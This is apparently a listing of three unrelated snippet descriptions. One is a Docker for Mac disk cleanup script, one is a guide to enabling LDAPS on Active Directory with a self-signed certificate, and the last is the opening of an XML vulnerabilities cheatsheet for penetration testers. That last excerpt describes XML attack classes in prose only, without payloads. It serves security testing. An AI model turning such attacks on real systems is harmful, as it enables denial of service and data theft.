This script cleans the Docker.qcow2 file that takes a lot of disk space with Docker For Mac. You can specify some Docker images that you would like to keep.

Enable LDAP over SSL (LDAPS) for Microsoft Active Directory servers.

Enable LDAP over SSL (LDAPS) for Microsoft Active Directory servers

Tip

Microsoft active directory servers by default provide LDAP connections over unencrypted connections (boo!).

The steps below will create a new self signed certificate appropriate for use with and thus enabling LDAPS for an AD server. Of course the "self-signed" portion of this guide can be swapped out with a real vendor purchased certificate if required.

Steps have been tested successfully with Windows Server 2012R2, but should work with Windows Server 2008 without modification. Requires a working OpenSSL install (ideally Linux/OSX) and (obviously) a Windows Active Directory server.

XML Vulnerabilities and Attacks cheatsheet

XML Vulnerabilities

XML processing modules may be not secure against maliciously constructed data. An attacker could abuse XML features to carry out denial of service attacks, access logical files, generate network connections to other machines, or circumvent firewalls.

The penetration tester running XML tests against application will have to determine which XML parser is in use, and then to what kinds of below listed attacks that parser will be vulnerable.
